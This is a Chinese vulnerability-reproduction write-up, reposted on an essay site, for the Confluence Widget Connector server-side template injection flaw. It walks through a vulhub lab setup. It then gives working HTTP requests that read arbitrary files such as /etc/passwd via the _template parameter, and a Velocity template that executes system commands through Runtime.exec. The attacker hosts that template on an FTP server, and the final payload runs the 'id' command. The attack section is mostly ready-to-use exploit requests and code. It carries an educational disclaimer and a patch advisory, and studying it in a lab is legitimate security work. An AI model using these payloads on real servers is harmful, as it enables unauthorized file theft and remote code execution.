700字范文,内容丰富有趣,生活中的好帮手!
700字范文 > 漏洞复现|(CVE--3396)Confluence文件读取远程命令执行

漏洞复现|(CVE--3396)Confluence文件读取远程命令执行

时间:2021-03-15 23:40:02

相关推荐

漏洞复现|(CVE--3396)Confluence文件读取远程命令执行

作者: 墨阳

免责声明:本文仅供学习研究,严禁从事非法活动,任何后果由使用者本人负责。

0x01 前言

1、漏洞简介

Confluence是一个专业的企业知识管理与协同软件,常用于构建企业wiki。它强大的编辑和站点管理特征能够帮助团队成员之间共享信息、文档协作、集体讨论,信息推送。Confluence Server 与 Confluence Data Center 中的 Widget Connector 存在服务端模板注入漏洞,攻击者构造特定请求可远程遍历服务器任意文件,进而可以包含恶意文件来执行代码。可能造成敏感信息泄露,服务器被控制等严重后果。

2、影响范围

6.6.12之前所有6.6.x版本

6.12.3之前所有6.12.x版本

6.13.13之前所有6.13.x版本

6.14.2之前所有6.14.x版本

0x02 配置环境:

最好给服务器虚拟机4G以上内存,vulhub启动confluence环境,接下来初始化配置:

BSBI-NU9A-RRKH-P24K

邮箱注册

然后填写一个集团名和路径/home/confluence共享目录

配置数据库连接

点example site

点manager

输入用户邮箱密码

之后的教程跳过-跳过-test-继续

配置完成

0x03 文件读取

1、漏洞触发位置:

插入更多内容(+号)–其他宏–小工具连接器

2、抓包,修改(没有账号直接抓登陆包修改也可以)

POST /rest/tinymce/1/macro/preview HTTP/1.1Host: 192.168.72.129:8090Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Referer: http://192.168.72.129:8090/pages/resumedraft.action?draftId=786457&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: JSESSIONID=E1D021B04024032C964FB9E6A11D340BConnection: closeContent-Type: application/json; charset=utf-8Content-Length: 168{"contentId":"786458","macro":{"name":"widget","body":"","params":{"url":"/v/23464dc6","width":"1000","height":"1000","_template":"../web.xml"}}}

3、将_template参数修改为file伪协议读取任意文件

{"contentId":"786458","macro":{"name":"widget","body":"","params":{"url":"/v/23464dc6","width":"1000","height":"1000","_template":"file:///etc/passwd"}}}

0x04 远程代码执行

此处文件包含可以使用如file、https、ftp等协议,如果文件是一个 Velocity 模板,我们可以通过模板注入(SSTI)执行任意命令

1、写一个velocity模板文件:

参考:/weixin_43072923/article/details/117083611

#set ($exp="exp")#set ($a=$exp.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec($command))#set ($input=$exp.getClass().forName("java.lang.Process").getMethod("getInputStream").invoke($a))#set($sc = $exp.getClass().forName("java.util.Scanner"))#set($constructor = $sc.getDeclaredConstructor($exp.getClass().forName("java.io.InputStream")))#set($scan=$constructor.newInstance($input).useDelimiter("\\A"))#if($scan.hasNext())$scan.next()#end

2、开一个ftp服务

这里图省事直接在服务器ubuntu上开了ftp服务,实际可以在kali或者另找一个ubuntu即可

pip install pyftpdlibpython3 -m pyftpdlib -p 21

payload:

{"contentId":"786458","macro":{"name":"widget","body":"","params":{"url":"/v/23464dc6","width":"1000","height":"1000","_template":"ftp://192.168.72.129:21/test.vm","command":"id"}}}

3、发包,命令执行

0x05 修复建议

官方已修复该漏洞,请到官网下载无漏洞版本:/

0x06 了解更多安全知识

欢迎关注我们的安全公众号,学习更多安全知识!!!

欢迎关注我们的安全公众号,学习更多安全知识!!!

欢迎关注我们的安全公众号,学习更多安全知识!!!

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。